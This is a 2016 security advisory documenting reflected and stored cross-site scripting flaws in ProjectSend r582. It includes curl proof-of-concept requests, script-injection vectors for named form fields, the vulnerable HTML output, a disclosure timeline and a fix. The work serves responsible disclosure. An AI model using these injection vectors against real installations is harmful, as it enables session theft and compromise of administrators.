* Exploit Title: Multiple (persistent) XSS in ProjectSend
* Discovery Date: 2016/02/19
* Public Disclosure Date: 2016/03/17
* Exploit Author: Michael Helwig
* Contact: https://twitter.com/c0dmtr1x
* Project Homepage: http://www.projectsend.org/
* Software Link: http://www.projectsend.org/download/108/
* Version: r582
* Tested on: Ubuntu 14.04 with Firefox 45.0
* Category: webapps

Description
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ProjectSend is a self-hosted PHP based file-transfer platform. Several serious vulnerabilities have been discovered so far (e.g. https://www.exploit-db.com/exploits/39385/). Here are some further persistent and non-persistent XSS vulnerabilities which affect ProjectSend.

PoC
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1. Non-Persistent XSS
~~~~~~~~~~~~~~~~~~~~~~

1.1 - As client in searchbox on my_files/index.php:

curl 'http://projectsend.local.de/my_files/' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Encoding: gzip, deflate' -H 'Accept-Language: en-US,en;q=0.5' -H 'Connection: keep-alive' -H 'Cookie: PHPSESSID=2pgk2ehohqbqmgfr618sisqui2' -H 'Host: projectsend.local.de' -H 'Referer: http://projectsend.local.de/my_files/' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0' -H 'Content-Type: application/x-www-form-urlencoded' --data 'search=%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3B%3C%2Fscript%3E'


1.2 - As admin in searchboxes on "Manage Clients", "Clients groups" and "System Users":

curl 'http://projectsend.local.de/clients.php' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Encoding: gzip, deflate' -H 'Accept-Language: en-US,en;q=0.5' -H 'Connection: keep-alive' -H 'Cookie: PHPSESSID=2pgk2ehohqbqmgfr618sisqui2' -H 'Host: projectsend.local.de' -H 'Referer: http://projectsend.local.de/clients.php' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0' -H 'Content-Type: application/x-www-form-urlencoded' --data 'search=%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E'

Output:

<input type="text" name="search" id="search" value=""><script>alert('XSS')</script>" class="txtfield form_actions_search_box" />

The searchboxes on "Clients groups", "System Users" and the "Recent activities log" are injectible in the same way.


2. Persistent XSS
~~~~~~~~~~~~~~~~~~

1.1 - As client in "MyAccount" field "Name":

No special vector required.
HTML output for input "><script>alert(1);</script>:

<input type="text" name="add_client_form_name" id="add_client_form_name" class="required" value=""><script>alert(1);</script>" placeholder="Will be visible on the client's file list" />

This XSS also affects admins when they open the "Clients" -> "Manage clients" page:

clients.php html output:
<td><input type="checkbox" name="selected_clients[]" value="2" /></td>
<td>"><script>alert(1);</script></td>
<td>Client1</td>

The fields "Adress" and "Telephone" are injectible in the same way.


1.2  As client in "File upload" field "Name":

A simple vector suffices: "<script>alert('XSS')</script>
The XSS is activated when admins open the dashboard (the code gets loaded from /actions-log.php via ajax) or when he accesses the "Recent activities log"

actions-log.php html output:
<td class="footable-visible">"<script>alert('XSS')</script></td>


1.3 As admin in "Groups" -> "Add new"

The fields "Name" and "Description" are injectible. The XSS is activated on the "Manage groups" page.
Simple vector: "><script>alert('XSS')</script>


Timeline
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2016/02/19 - Issues discovered
2016/02/22 - Developed fixes for these and multiple other vulnerabilities. 
             Informed project maintainers
2016/03/04 - Fixes merged into master branch by project maintainers


Solution
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Update to current version from GitHub. See https://github.com/ignacionelson/ProjectSend/issues/80 for discussion.